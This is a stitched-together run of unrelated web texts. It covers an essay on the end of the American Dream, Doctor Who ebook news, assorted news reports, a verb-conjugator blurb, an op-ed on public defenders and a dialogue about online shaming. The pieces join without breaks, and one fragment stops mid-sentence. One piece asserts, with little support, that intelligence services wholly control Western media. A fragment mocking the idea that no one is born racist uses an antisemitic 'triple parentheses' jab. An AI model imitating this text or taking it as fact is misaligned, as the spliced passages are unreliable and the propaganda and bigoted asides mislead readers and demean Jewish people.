Without new major innovations to offer opportunities for profitable investment, where is all the accumulated capital to go? Here again we have a classic over-accumulation crisis. One fix that has been deployed by the corporate wealthy is to reduce their tax burden, shifting it to the popular classes below. This has been the agenda of their sector of the political elite for decades. That has been combined with the neoliberal offensive against social programs, again at the expense of the popular classes. In effect, the plutocracy has come to understand that growth of their wealth will no longer come mainly from productive investment, but must come out of the hides of those below them. That requires imposing austerity on others so they can continue to prosper.
Thomas B. Edsall, author of The Age of Austerity: How Scarcity Will Remake American Politics, sums up the situation as follows:
Affluent Republicans – the donor and policy base of the conservative movement – are on red alert. They want to protect and enhance their position in a future of diminished resources. What really provokes the ferocity with which the right currently fights for regressive tax and spending policies is a deeply pessimistic vision premised on a future of hard times. This vision has prompted the Republican Party to adopt a preemptive strategy that anticipates the end of growth and the onset of sustained austerity – a strategy to make sure that the size of their slice of the pie doesn’t get smaller as the pie shrinks.
It is in this light that we can understand the death march the Republican Party has set out on. Its survival and that of its patrons is at stake. It leads them to adopt scorched-earth policies that ought to spell certain electoral defeat were it not for their gerrymandering, voter suppression, election rigging and other antidemocratic measures needed to maintain political power within the existing political duopoly. What they are so desperate to protect is not only their own political careers, but the insatiable hunger of capital.
For its part, the Democratic Party is also beholden to the interests of transnational capital, as I pointed out earlier. As Jeff Faux has documented, as early as the Carter administration, the Democratic Party embraced the neoliberal ideology. New Democrat Bill Clinton extended the Reagan-Bush I program of globalization with free trade and deregulation of finance capital. The Obama administration has continued on the same course. The political elite is united on its basic priorities. As Faux remarks, the United States is no longer rich enough to continue to finance America’s three principal national dreams:
1. The dream of the business elite for subsidized, unregulated capitalism.
2. The dream of the political elite for global hegemony.
3. The dream of the people for a steadily rising standard of living.
We can certainly continue to have one out of three, and perhaps even two out of three. But three out of three? No.
It is the dream of the US people that will have to go. That is the reality that no US politician dares to utter. If he did, it might spark popular demands that dreams 1. and 2. be sacrificed instead.
The hard truth is that none of the three can be sustained indefinitely. Capitalism is in crisis. The military costs of global hegemony have become more than a debt-burdened state can sustain, as well as more than much of the world will continue to tolerate.
As for rising living standards, even if the dreams of Wall Street and Washington did not trump those of the people, are they really sustainable? With only a small portion of the world’s population, the United States consumes an immensely disproportionate share of the world’s resources. The current rate of use of world resources globally would be sustainable if we had one and one-half planet Earths. But guess what? We have only one. And the rest of the world’s peoples also have dreams of rising standards of living. If all the people in the entire world enjoyed US standards with the same per capita ecological footprint, five Earths would be needed.
My favorite slogan from the Occupy movement was “Wake up from the American Dream. Create a livable American reality.” That is the challenge We the People face in the 21st century. And we have to face it with little help from our political elite and none from capital. We have to do it ourselves. It will take social movements and prolonged struggle. It will take courage and bold experimentation. And for starters, it will take speaking the truth: The American Dream is over. For good or ill, history will move on without it.
Postscript: Besides this dominant American Dream, there is an alternative one in the background. It has its roots in the 18th century Enlightenment and was expressed in the French Revolution with the slogan “Liberty, Equality, Fraternity.” That was the dream of a society in which all could live in community, a society of mutual support among equals, where each individual was free to develop his/her human capacities supported by the community. The basic values of that vision are deeply rooted in the American culture. It can be the basis of an alternative – sustainable – American Dream.The Puffin/Doctor Who fiftieth anniversary eshorts (such a lovely idea, this), which will publish eleven stories about the eleven Doctors by eleven different children's writers on the 23rd of each month until the November anniversary, has confirmed its first author: Artemis Fowl-creator Eoin Colfer.
Colfer is taking on the First Doctor's story, entitled A Big Hand For The Doctor (synopsis below), to be made available via Amazon and iTunes on the 23rd of January for £1.99, then joined in the coming months by stories about the subsequent regenerations of the Doctor by well, that's the question.
There's plenty of noise surrounding the possible involvement of JK Rowling, and a slightly meatier case to be made for Neil Gaiman doing his stint, but as yet, no names other than Colfer have been confirmed. On the 23rd of November, all eleven stories will be published in a single ebook, just one of the ways Doctor Who's fiftieth birthday is to be marked in the coming year.
"London, 1900. The First Doctor is missing both his hand and his granddaughter, Susan. Faced with the search for Susan, a strange beam of soporific light, and a host of marauding Soul Pirates intent on harvesting human limbs, the Doctor is promised a dangerous journey into a land he may never forget..."
Doctor Who News
Follow our Twitter feed for faster news and bad jokes right here. And be our Facebook chum here.I love this! Donald Trump, a human Kinder Egg whose inner surprise is a tiny pebble of rat shit, is attempting to celebrate the famous Hispanic holiday of Cinco de Mayo by digging into a taco bowl, the food invented thousands of years ago by the ancient Mayans!
There are so many levels to this idiocratic tweet that I feel almost relieved, having finally hit the point where I’m frankly just done with explaining anything about Cinco de Mayo (or Mexican culture, for that matter) to the pinche pendejos out there wearing sombreros to their frat parties; they’re not listening anyway, and if they truly cared at some point later in their small and pathetic lives, they could just look it the hell up on the same internet we all are lucky to have in America, a country that is already pretty great if for that reason alone.
But you’ve also got to know thine enemy, and as we “HISPANICS” all know, Señor Donald J. Frog is our number one, and very clearly the patron saint for any shitty assholes stereotyping Cinco de Mayo for reasons ranging from “young and stupid” (certain college students) all the way to “actual white supremacist who would like to exile essentially all brown people from America” (Trump). It’s heartening to know that if he in fact eats that entire taco bowl, whose grease-saturated visage frankly makes me doubt the quality of the Trump Tower Grill, he is more likely to develop some kind of atherosclerosis that will hopefully somehow boot him from the presidential race.
Speaking of race! Cinco de Mayo is not a “HISPANIC” holiday, but we all know that Trump can’t rightly say “I love Mexicans!” because he does not. He hates Mexicans. And that’s something I’ll never grow tired of explaining.Sharing is caring Futurism previously reported that the first organ transplant between a HIV+ donor and recipient was about to take place. Now, we are happy to report that this operation has taken place and proved to be successful. John Hopkins successfully conducted a liver and kidney transplant between a HIV positive donor and HIV positive recipients. Both organs came from the same deceased donor, and all three individuals (the donor and two recipients) are to remain anonymous. The kidney recipient has been living with HIV for more than 30 years, suffers from hypertension and autoimmune problems, and had been on dialysis. He is now at home, feeling completely fine after the transplant.
The liver went to a person who suffered from hepatitis C, which damaged his liver beyond repair. The hepatitis was cured, but the liver damage had been done. The recipient has been HIV positive for more than 25 years. He’s expected to be released from the hospital in a few days. To give them HOPE Before 2013, HIV positive patients could not donate their organs to anyone, including to other HIV positive patients. HIV positive recipients had to wait for HIV negative organs. This increased the mortality rate of HIV positives in the waiting list, and allowed as much as 500-600 organs to be wasted each year. It was 1980s legislation that banned these donations. In 2013, the legislation was archaic and outdated, as we now know how this virus functions and is transmitted. Fortunately, Obama signed the HIV Organ Policy Equity Act, allowing HIV positive people to donate. Why the long wait after the law was passed for the transplants to occur? In the two years since the the passing of the law, the National Institutes of Health worked with experts to develop the criteria and safeguards doctors would need to follow, since these are still HIV infected organs.
Professor of surgery at Johns Hopkins University School of Medicine, Dorry Segev said: ‘Somebody who doesn’t have HIV who is on the waiting list, there may be someone with HIV in front of them who is taken off the list because they’ve received an HIV-positive organ and then they can move ahead. So this benefits everybody.’ Indeed, it is a fresh start in more ways than one.MADISON, Wis. (AP) -- A new report says Wisconsin led the country last year in drunken drivers blocked from starting vehicles by an ignition interlock.
Mothers Against Drunk Driving released a report Tuesday that found interlock devices stopped 37,299 people from starting their vehicles from December 2015 to December 2016. California was second with 35,756 stops.
The report is based on data MADD gathered from 11 interlock companies.
Wisconsin law requires first-time drunken drivers with blood alcohol contents of at least 0.15 percent as well as all repeat offenders to use interlocks. Drivers breathe into the devices, which can detect whether they're above the 0.08 blood alcohol content percentage limit for driving. If a driver is over the device prevents the vehicle from starting.
Copyright 2017: Associated PressIn the “free and democratic system” being pushed upon all other states in the world by the United States and its Western allies, journalists are increasingly unhappy about the repressions they’ve been facing over the last decade, along with constant surveillance and the demand to cooperate with intelligence services. That is why German-speakers have even coined a special term for the Western media – Lügenpresse or “lying press”. It’s no wonder that the credibility of the most famous Western media outlets recently has hit a new low.
Since the days of Richard Nixon no American president was as hostile to the media as Barack Obama – this was stated by the former editor-in-chief of the Washington Post, Leonard Downie in a report that he drafted on the dire situation of the freedom of speech in the United States. According to this report, the Obama Administration has been routinely spying on journalists, while punishing harshly all sorts of whistleblowers. Moreover, the members of the administration feel personally offended when a critical article about its actions appears somewhere in the media. In order to prevent such perceived slights, government officials are being accused of violating the Espionage Act of 1917 that in the first 90 years of its existence was used only three times to convict foreign spies. Yet, in the period from 2009 to 2013 eight US officials went to jail on accusations of providing journalists with the information that could lead to a major scandal. As for US journalists, Leonard Downie notes, they are living in the atmosphere of constant fear, under a sense of being monitored daily.
Despite promises to put an end to the “excessive secrecy” that was imposed by the Bush Administration, Obama has only expanded it further still. It happens so that even the documents that pose no threat to national security whatsoever are being classified today in the West as “Top Secret” to ensure that reporters never get access to them. Since October 2011, civil servants in all US government bodies are being officially encouraged to spy on their colleagues, while employees of federal departments since 2012 are forced to regularly report their contacts with the press, as well as to inform superiors about “suspicious behavior” of their colleagues. The former head of the CIA, Michael Hayden, stated that these measures were adopted to “prevent any contact.” Even the employees of media outlets obedient to Washington, such as the Associated Press and Fox News have been targeted by the Obama Administration.
There’s growing evidence that suggests that Operation Mockingbird, launched by the CIA in the 1950s, has never ceased to exist. The main objective of this operation was to influence both the US and foreign media through agents that were planted among genuine journalists. When the operation was made official, US authorities have had more than three thousand permanent and contracted agents of the CIA in hundreds of Western media outlets. And it seems that nothing has changed since those days, since the Western media spreads disinformation, produces propaganda and whitewashes anything that might harm the well-being of Western elites.
But the worst part is that it’s not simply the American media that has been destroyed, since the European media has suffered a similar fate. How else can the bias of the European press be explained?
The Western media is usually tasked with targeting specific individuals who dare oppose Washington. It will suffice to recall the rigid disinformation campaign against Saddam Hussein and the so-called “weapons of mass destruction” that never existed in the first place. Libya’s leader Muammar Gaddafi was subjected to a similar treatment, and now we are hearing revelations made by Hillary Clinton that regime change in Libya was carried out in the best interests of Washington, since Gaddafi had considerable oil and gold reserves at his disposal. A similar propaganda campaign has been launched by the United States against Syria, and especially Russia in light of the Ukrainian crisis. Even the revelations made by the French journalist Laurent Bravard or the speech given by the Director of French Military Intelligence Christophe Gomart in front of the National Assembly of France were ignored by the absolute majority of Western media sources.
The total control of the media by Western intelligence services has become painfully obvious recently. A while ago a German journalist contributing to Frankfurter Allgemeine Zeitung, Dr Udo Ulfkotte, admitted that all authors are receiving gifts in the form of expensive watches, exotic tours, or stays in luxurious hotels. One can easily live a life of the rich and famous if he’s writing good things about NATO and demonizes Russia. In his book, published under the title Gekaufte Journalisten (Corrupt Journalists), Udo Ulfkotte says that those who write as they were told to, especially those “inspired” by the CIA or other Western intelligence services, are enjoying full protection and regular promotions. The utter and complete control over the Fourth Estate (as the press is usually referred to) exercised by intelligence services and oligarchs has turned the Western press into a political fifth column. As for those people who do not agree with this state of affairs, they simply have no say in the West.
It is impossible to publish facts in the West not simply because of the rigid censorship, but due to the fact that the better part of media outlets are owned by a small group of wealthy individuals. The world’s media, as well as the leading centers of Europe are being dominated by the Wall Street and the City of London, and none of these people, even if they understand the danger of obeying the orders of the few, dare to speak up against the actions of the US. For this reason European media outlets are facing a serious crisis these days.
The extensive amount of pressure that media is forced to live under has become so distinct and apparent that some Western reporters have decided to revolt against the system. A while ago, an American economist and author Paul Craig Roberts noted that we are a witnessing a complete decomposition of Western journalism, while journalists are forced to lie or simply give up their chosen profession.
According to the data published by the Insurge Intelligence project it’s not the media alone that is being used for propaganda purposes, but also search engines like Google as well. While bypassing the democratic norms and laws, Western intelligence agencies are influencing policies and public opinions in the United States and other states, to ensure “information superiority”. It is therefore not surprising that in 2015 the US took 49th place in the World Press Freedom Index, along with El Salvador, Burkina Faso and the Republic of Niger.
Martin Berger is a Czech-based freelance journalist and analyst, exclusively for the online magazine “New Eastern Outlook.While opposition to marijuana prohibition has risen in recent years; yet under Mayor Michael Bloomberg’s administration New York City has dramatically stepped up its marijuana arrests. The NYPD now spends a huge amount of police time and money arresting people for low-level marijuana offenses.
Not surprisingly given the racist ways drug laws have been applied in this country, almost everyone arrested in the city for low-level marijuana offenses happens to be a young black or Latino. From the Drug Policy Alliance’s report:
Recently released figures by the New York Division of Criminal Justice Services show that in 2010, the New York City Police Department arrested 50,383 people for low-level marijuana offenses. Arrests for low-level marijuana possession offenses are the number one arrest in New York City, making up 15 percent of all arrests. […] Over the last twenty years, NYPD has quietly made arrests for marijuana their top enforcement priority, without public acknowledgement or debate. This is the sixth year in a row with an increase in marijuana possession arrests. In 2005, there were 29,752 such arrests, and in 2010, there were 50,383, a 41 percent increase. Since Michael Bloomberg came into office in 2002, there have been 350,000 arrests for low-level marijuana offenses in NYC. Almost 70 percent of those arrested are younger than 30 years old. 86 percent of those arrested are Black or Latino, even though research consistently shows that young whites use marijuana at higher rates.
This follows the well-established trend in this country where talk of being “tough on crime” or “tough on drugs” equates to being selectively tough on young minorities.Welcome to Cooljugator! We are a verb conjugator that makes conjugation easy, straightforward and smart. Try us out:
Cooljugator is free online verb conjugator which works in over 40 languages.
Cooljugator provides conjugated forms, examples, English translations, transcriptions, stressed forms or pronunciation hints, related verbs and a quick search that allows entering any form in both the target language and English. We are aiming to be the Internet's go-to resource for grammar across many languages!
Yet Cooljugator is still a work in progress. You can find out a lot more about how Cooljugator was started, where it is currently at and what we plan to achieve in the about us page.
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What is verb conjugation?
Verb conjugation is the modification of verbs from their basic forms. Conjugation is affected by a range of things, including:
person (the verb changes depending on the person it is referring to, e.g. 'I do', but'she does'),
number (one or multiple people, e.g.'she sees' versus 'they see'),
gender (the verb changes based on the gender of the person that verb is referring to; such a feature exists in many languages, including Slavic or Semitic ones),
tense (whether the action happened in the past, is happening now or will happen in the future, e.g. 'I will go', 'I went', etc.),
aspect (it relates the verb to the flow of time; for example, 'I am writing' and 'I write' are both present tense verbs but they have different aspects),
voice (indicates the actor - for example, passive or active, e.g. 'they are writing' versus 'they are being written'),
mood (which indicates the attitude of the speaker to what is being said - for example, it could be the imperative mood for commands like 'go!' or indicative for statements, etc.).
In Cooljugator, we try to provide you as many of these verb features as possible, although at the same time we also try to focus on the most important ones, the ones that you are more likely to immediately put to use.
Cooljugator has a lot of further aids to help you not only look up the correct form, but to also understand why it is the correct form and how the verb forms relate to each other. See the translations, usage examples, and related verbs.
Thank you for using Cooljugator!Sen. George Mitchell’s report, which could include some relief for Penn State from the NCAA sanctions, is due out in the coming days. For now, though, the second winning coach in college football history — or winningest, if you put any weight into NCAA statistics — Bobby Bowden came out in favor of giving back Joe Paterno his 111 victories back in the official record, even though it would mean he would no longer hold the NCAA’s title as the “official” winningest coach. Bowden, who is doing media spots to promote his new book, spoke out on the David Glenn Show yesterday about the situation:
Bowden on vacated wins: if I had my choice, I like for them to give me my 12 games back and give Paterno his 100 games. — David Glenn Show (@DavidGlennShow) September 3, 2014
Bowden himself had 12 victories vacated at Florida State due to an academic fraud scandal. His official victory count stands at 377 (389 actually), while Paterno is down to 298 (409 actually, of course). To the benefit of reality, Bowden has never really embraced being the official “winningest” coach. “There’s no way I can celebrate that,” Bowden said to the Birmingham News in 2012. “There’s no way we can rejoice in that here because of what happened with the circumstances. Under the circumstances, we can’t even cheer.”
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About the Author
Kevin Horne Kevin Horne was the editor of Onward State from 2012-2014 and currently holds the position of Managing Editor Emeritus, which is a fake title he made up. He graduated from Penn State with degrees journalism and political science in 2014 and is currently seeking his J.D. at the Penn State Dickinson School of Law. A third generation Penn Stater from Williamsport, Pa., Kevin is also the president of the graduate student government. Email: [email protected]
East Renovation Continues With Approval For Sproul, Geary Halls Penn State’s Board of Trustees approved the next phase of East Halls renovations at its meeting Friday, setting the stage for construction to begin on Sproul and Geary Halls.The opening of “Teenage Mutant Ninja Turtles: Out of the Shadows” is dominating a moderate weekend at the U.S. box office with an estimated $36 million, slightly better than half of the original’s launch.
Paramount’s action-comedy sequel took in $12.5 million at 4,071 sites on Friday, easily outdistancing the first day of Emilia Clarke’s romantic drama “Me Before You” at $7.8 million at 2,704 locations and the eighth day of “X-Men: Apocalypse” with $6.6 million.
Fox’s ninth version of its “X-Men” franchise was headed for a second weekend of $22.3 million at 4,153 locations, in a sharp 66% decline that’s typical of “X-Men” titles. “Apocalypse” will finish the frame with more than $116 million domestically.
“Me Before You,” which generated an A Cinemascore from attendees, looks likely to wind up the weekend with $18.3 million — at the top of recent forecasts.
Universal’s surreal Andy Samberg comedy “Popstar: Never Stop Never Stopping” launched quietly with $1.8 million at 2,311 screens, projecting to less than $5 million for the weekend.
“Teenage Mutant Ninja Turtles: Out of the Shadows,” which generated an A- Cinemascore, came into the marketplace amid expectations that had been elevated by the surprisingly strong showing of the 2014 original film — which finished with a $195 million domestic gross and $493.2 million worldwide.
Related The 13 Most Disappointing Movies of 2016 'X-Men,' 'Purge' Sequels Debut in Top Two Spots on DVD, Blu-ray Disc Sales Charts
The sequel, which is opening in 40 international markets this weekend, will need to perform strongly outside the U.S. in order to recoup for its $135 million budget. “Out of the Shadows,” directed by Dave Green from a script by Josh Appelbaum and André Nemec, stars Megan Fox, Stephen Amell, Will Arnett, Brian Tee, Tyler Perry and Laura Linney.
“Me Before You,” starring Clarke and Sam Claflin, will finish in third well ahead of Disney’s second weekend of its high-priced “Alice Through the Looking Glass,” which is heading for an $11 million weekend at 3,763 sites. That’s a 59% decline from the dismal opening of $26.8 million for the surreal sequel, starring Johnny Depp as the Mad Hatter.
Depp’s been in the news recently due to his estranged wife Amber Heard being granted a temporary restraining order on May 27 after she accused him of domestic violence.
“Me Before You” is based on Jojo Moyes’ bestselling novel. Clarke portrays a caretaker for a wealthy young man who was recently paralyzed after being hit by a car. It carries a modest $20 million budget.
Sony’s third weekend of “The Angry Birds Movie” is projected to finish fifth with about $9.7 million to lift the cartoon’s domestic total to $86.6 million, followed by the fifth frame of Disney-Marvel’s “Captain America: Civil War” with $7 million. “Captain America” is the year’s top performer at the domestic box office and will finish the weekend with $388 million in its first 31 days.
The domestic summer box office was down 4.1% from last year as of Wednesday, with $887 million while year-to-date grosses are up 4% at $4.52 billion, according to ComScore.Public defenders are a crucial part of the justice system. Governments should not skimp on this important role.
I need a public defender.
No, I’m not in any trouble I know of. Whether sitting in a holding cell or comfortably at home, the fact is we are all in need of a public defender.
In my just-completed 28 years as a judge (not to mention the prior decade as a prosecuting attorney), some of the finest courtroom work I observed was by lawyers appointed to represent individuals accused of crimes or facing off with the state in civil commitment or dependency proceedings.
William L. Downing became a King County Superior Court Judge in 1989 and retired in 2017. He is now a private arbitrator/mediator with JAMS of Seattle.
This doesn’t mean these attorneys sported the best wardrobes or pedigrees; I’m speaking of the depth of their commitment both to the person at their side as well as to their vital role in our justice system. It is no contradiction to say the public defenders’ role is not to make the system run smoother but rather to make it run better.
Just as any president needs the rigorous scrutiny of the press and the other branches, so too do prosecutors and judges need the check provided by counsel appointed for the indigent. Most often — and most critically — those lawyers are the public defenders whose daily job is no less than ensuring that our courts are truly upholding the values that are central to our shared beliefs. The ideal of “equal justice under law” can only become reality thanks to the good work of public defenders.
Seeing that they are ready and fully equipped to do this job is something we all need.
And yet, across the state of Washington, the indigent are not always uniformly granted this constitutional right in full. A set of statewide public defender guidelines is on the books but, regrettably, these remain largely aspirational in the absence of an effective enforcement mechanism. This can allow local authorities to fail to meet their constitutional burdens and do so with impunity.
And that fails all of us.
In King County, where I long sat, public defenders all carry staggeringly heavy caseloads. Yet, some magical combination of their training and personal pride makes it quite rare to see a client who appears to pay a price for that circumstance. To the contrary, it is common to see a public defender in the courthouse hallway counseling one client through the entire noon hour and then, at day’s end, rushing off to the jail to advise others. No doubt there are many more defenders throughout the state who draw on similar assets to commendably meet that high bar.
It is apparent, however, the situation is far from uniform across the state. Different jurisdictions may have varying legal traditions and budget constraints and this can result in policy decisions that, on the surface, may be seen as mainly shortchanging only those who have run afoul of the law. Understandably, it may at first blush seem expedient to place this burden upon the least of us.
Of course this misses the point that an injustice to one is an injustice to all. It diminishes the stature of the court system, it represents a potential threat to all of our rights, and it undermines the core values of our society.
The constitutional right of the indigent to have meaningful assistance of appointed counsel was firmly established by the United States Supreme Court in the 1963 case of Gideon v. Wainwright and, since then, “Gideon’s trumpet” has been the commonly employed metaphor for that right. In 2013, federal Judge Robert Lasnik ruled that, in certain Washington localities, that trumpet had been “muted and dented by harsh fiscal measures that reduce the promise to a hollow shell of a hallowed right.”
This recurring situation has not been remedied despite the valiant efforts of many. Washington does now have in place a sensible set of statewide standards for what is required for constitutionally adequate public defense services. Such things as training, capping of attorney caseloads and ensuring the availability of investigative and forensic resources are essential to having the job done right.
For at least a decade, the American Civil Liberties Union of Washington has been pushing for a mechanism to ensure that local governments were providing adequate resources for the defense of the indigent. This could be accomplished through legislation or, failing that, through litigation.
The ACLU recently filed a new lawsuit in Thurston County. It complains of inadequate services provided to juvenile offenders in Grays Harbor County but seeks broader relief in the form of an order for the creation of a statewide enforcement mechanism. Their sensible proposal is to put teeth in the oversight authority of the statewide Office of Public Defense.
In pressing this issue, acting much like the dedicated public defenders of our state, the ACLU is also representing all of us.We are told”actually, we have it drilled into our skulls with nonstop ideological jackhammers and Shame Tasers almost from birth”that no one is “born racist,” whatever the hell that stupid scare word means.
In their 1949 musical South Pacific, Rodgers and Hammerstein (insert triple parentheses for both composers if that’s your bag) wrote a song called “You”ve Got To Be Carefully Taught,” which teaches that we are born with a blank-slate love of all races and must endure sinister racial propaganda in order to wind |
and schools of the accused teenagers. One can criticize (and I have criticized) Tracie Egan Morrissey for this approach, particularly the fact that she unfairly implicated an innocent 15 year old in her anti-racist dragnet (not to mention the fact that she inadvertently incentivized anonymous racist expression). But in order to fully engage with the story, it’s critical to remember that she wasn’t just focused on these specific teenagers. She had much bigger fish to fry, namely all those people who haven’t been called out for their racism. Morrissey was sending them the unequivocal message that YOU SIMPLY CANNOT SAY THIS SORT OF SHIT IN PUBLIC, AND IF YOU DO, YOU’LL BE SORRY, a point echoed by many of the article’s commenters. In other words, if you step out of line, you will be punished — because you deserve to be punished.
Kate: Right, but the problem is that I don’t think that “THIS COULD HAPPEN TO YOU” is particularly effective. (If this Deadspin piece on racist reactions to Obama’s Newtown address is any indication, Egan Morrissey might as well have been shouting at a brick wall.)
History is filled with cases of people being turned into examples of where the targeting didn’t have the intended effect, and even crossed over into backfire territory. This is particularly true when the targets are poorly chosen. In the realm of recent history, the RIAA tried using the “selectively sue” tactic with illegal downloaders (Napster! KaZaA!) in an attempt to scare all of those durn teenagers who were robbing multinational conglomerates of their chimney-sweeping wages (I don’t mean to make light of piracy because of artists rights and compensation, but I don’t think that these suits were really about artists losing money). What ended up happening is that a few of the “worst” offenders went to court, the RIAA looked pretty stupid, and everybody else kept downloading whatever the hell they wanted.
You brought up a key point about shaming targets “deserving” to be punished. One thing that I’ve noticed in quite a few of these cases is that a rhetoric of blame comes into play. And the blame often centers around the public nature of the activity as well as expectations of digital literacy — i.e., the shaming behavior is not only justified because the target did something “wrong,” but also because they were stupid enough to do it on the internet. I mean, the internet has been around long enough at this point, MORONS — what else can they expect when they post (X Y Z type of content) online? It’s their own fault, they totally should have known better. But that rhetoric comes scarily close to other types of victim blaming that most people no longer consider acceptable. For example, “What else can you expect when you go out in public after midnight wearing a short skirt? It’s her own fault, she should have known better.”
And in many instances, that border verges on non-existent. Misogyny is a major theme when it comes to online shaming — to quote Adrian Chen,”nothing gets the online hive mind’s psychotic rage juices flowing better than a young woman who it feels is out of line.” Both Kiki Kannibal and Amanda Todd were excoriated for being “sluts” online. Todd was pressured (and then blackmailed) into baring her breasts to a man she met in an internet chat room. After a topless photo of her was released online, Todd experienced harassment so severe that she committed suicide. Kannibal was unfairly blamed for the death of her ex-boyfriend (who also raped her); after she received death threats, her family had to relocate. But hey, they totally asked for it, right? Disgusting.
Where once you (mostly) had distinct, separate communities with norms that were policed within those communities, we now have more of a mish-mosh where people with conflicting values end up policing each other, which makes things very messy.
Whitney: That’s not the only problem with “asking for it” rhetoric. This same sort of victim blaming is pervasive within trolling circles, and provides an interesting analogue to social justice vigilantism. (Is that a phrase? It is now) To trolls, the fact that someone has been trolled is proof that they should have been trolled. The target’s anger or frustration or distress thus functions as simultaneous goal of and justification for the trolls’ actions. And with good (well, maybe not good, but “valid,” i.e. the conclusions follow logically from the premises) reason, since according to trolls, nothing on the internet should be taken seriously — an imperative that doesn’t just allow for but in fact encourages pushback against sentimentality and emotional attachment. Of course, “nothing on the internet should be taken seriously” is a universalizing, (not to mention self-contradictory) assumption, one that is very easy to make when you have the option — which is to say, the privilege — of remaining anonymous. But for those who accept this premise, it is extremely easy to justify punishing those who fail to adhere to how people on the internet “should” behave.
Significantly, the same vigilante rhetoric used by trolls is almost interchangeable with the rhetoric used by those engaged in other forms of online shaming (danah boyd discusses the behavioral mirroring between trolls and those who would unmask them here). Some universalizing assumption — nothing on the internet should be taken seriously, everything you have ever said on the internet can and should be held against you forever, people have the right to say and do anything on the internet with absolute impunity because free speech — is forwarded, simultaneously establishing the boundary of what is and what is not acceptable, and reifying (what is presumed to be) a clear-cut distinction between the “us” who punishes and the “them” who (ostensibly) deserves punishment. And this is where the specific details of a given case — specifically, what borders are being policed by whom — become critical to assessing the ethics, or lack thereof, of vigilante interventions.
Kate: Right, and this is complicated by the fact that the boundaries between specific pockets of internet are collapsing and blurring. So where once you (mostly) had distinct, separate communities with norms that were policed within those communities, we now have more of a mish-mosh where people with conflicting values end up policing each other, which makes things very messy. For example, what is considered to be acceptable (or at least, not particularly problematic) on certain parts of Reddit can be very different from what is considered to be acceptable in “mainstream” internet circles. That wasn’t an issue in the early days of the site when it was mostly self-contained, but now that Reddit provides endless fodder for mainstream news outlets, the libertarian ethos that errs on the side of “freedom to” vs. “freedom from”* (i.e., “freedom to post upskirt shots of teenagers” vs. “freedom from exposure to content that most people would find disturbing”) is more problematic. For non-redditors, it may be totes cool that Obama did an AMA and Advice Memes are being used to sell Kia Sorentos, but not as cool that /r/deadjailbait exists.
This clash is not exclusive to Reddit, either — you can also see it with certain hate-blogs. The hate-bloggers (which is a problematic term for me, but that’s another post) will stumble upon a blog/blogger whose modes and ways of being are completely nauseating/repulsive to them, and react by posting snarky takedowns (“they put this drivel in the public arena, I am within my right to publicly point out that they are a-holes”). And to be honest, sometimes I’m totally reading along in smug mode, particularly when the targets of their ire are misogynist/classist/otherwise offensively ignorant. The targeted bloggers see it as harassment, the hate-bloggers and their audiences see it as justified criticism, and we’re back to square one.
Whitney: But maybe that’s not a terrible place to end up, because it means we can’t easily rely on any facile, forgone conclusions. My personal take (and in the spirit of back-to-square-one-ing) is that the question of whether or not public shaming is GOOD (effective, humane, passes utilitarian muster, etc) is contingent on a number of factors. First, which nouns and verbs are scribbled into the Mad Libs template ([PERSON] violated the maxim that [UNIVERSALIZING ASSUMPTION] and therefore deserves to be taught a lesson by [GROUP])?
Furthermore, what assumption is being universalized? In the case of Hunter Moore, for example, I accept the basic assumption that one should not be a woman-hating dickbag, and so have no problem when the internet decides to give him a healthy dose of his own medicine. I do not, however, accept the premise that posting a stupid, ultimately juvenile photograph (of which I have been the subject of many, as has everyone) to Facebook justifies being fired, so think that what happened to Lindsey Stone sucks.
Finally, the efficacy/ethics of vigilante tactics depends on the accuracy of the information provided. Any vigilante intervention based on false or misleading information is something from which we should back away slowly. The problem is that it’s often difficult to know what information is true and what information is false, particularly if we’re watching the story unfold on Twitter. One possible solution is to stop blindly accepting and amplifying information we see on Twitter — after all, and to echo the Lance Ulanoff piece mentioned earlier, it is better to be right than to be first, particularly when you consider the potentially devastating consequences of getting things wrong.
In the end, then, how I feel about public online shaming has less to do with how I feel about the method itself, and more about the details that animate each particular case.
Because the truth is, there’s an awful lot of unconscionable shit on the internet. Merely shrugging our shoulders because “that’s just how people are online” is akin to apologizing for incidents of sexual assault on the grounds that “boys will be boys.” That position isn’t just defeatist, it reifies existing systems of power, and almost guarantees that the behaviors in question will continue. And waiting for the proper authorities to intervene, and not just intervene but intervene reasonably and effectively — I wouldn’t hold my breath. Given all that, yes, sometimes people do and will continue to need to take matters into their own hands. Which isn’t a ringing endorsement for anything, but rather functions a neon CAUTION sign, flashing in all directions.
Kate: This reminds me quite a bit of the whole free speech conundrum. Free speech is really great when it is being used the “right” way, and terrible when it is being used the “wrong” way. For me, it is great when free speech is used to defend against abuses of power and other such things; it is terrible when, for example, white supremacist groups get to spew their vile vitrol with impunity. If you are the Westboro Baptist Church, it is great that you get to picket military funerals, and terrible that you can’t stop Those Awful Liberal Freedom-Killers from telling people that yes, it is perfectly acceptable to be gay, and that gay people deserve equal rights. Conflicting value systems! They make everything so complicated.
Whitney: It’s interesting you mention the WBC, particularly their mind-bogglingly inhumane decision to picket Sandy Hook Elementary. This is one of those cases where vigilantism strikes me as the best, and perhaps the only, means of pushback. For some reason, this hate group (which isn’t even legally recognized as such; rather it is classified as a legitimate religious organization and currently enjoys tax exempt status) is free to pollute the airwaves and street corners with a seemingly endless supply of insane, toxic, incendiary bigotry, a fact I have never fully understood, particularly in this case (if ever there were a time to play the incitement to violence/fighting words card, picketing the funerals of twenty murdered 6 year-olds on the grounds that gay people exist would be it — though I suppose that’s a tall order for a government that doesn’t recognize these same gay people as equal under the law). No one should have to see or hear that sort of thing, least of all those personally affected by the tragedy. So when I heard that Anonymous had declared war on the WBC and that the Jester, a well-known activist hacker, had taken down an obnoxious troll account mocking the Sandy Hook victims, I tipped my hat to them. Because good.
Kate: I agree that we shouldn’t just stand idly by while people are victimized, but the problem with the nature of online shaming as it currently stands is that once the hounds are unleashed, they go for broke, no matter what the original crime was. For that reason, along with the other tricky points we’ve discussed, online vigilantism just makes me uncomfortable — even though I may cheer at some of the outcomes (WBC, etc).
In the end, I think that a lot of this comes down to a certain sense of moderation and reason. I don’t think this behavior is going away anytime soon, so ideally, we’ll develop some sort of normative standard around proportionality — i.e., don’t ruin someone’s life for doing something that any person could have done in a moment when his or her judgment was lacking. Compassion and reason are (kind of) built into the legal system, it should apply to the internet as well. We no longer throw people into jail for life for stealing a loaf of bread; people’s lives shouldn’t be ruined because they posted something stupid on Facebook. We should be able to say “this is not okay” without resorting to catastrophic punishments.
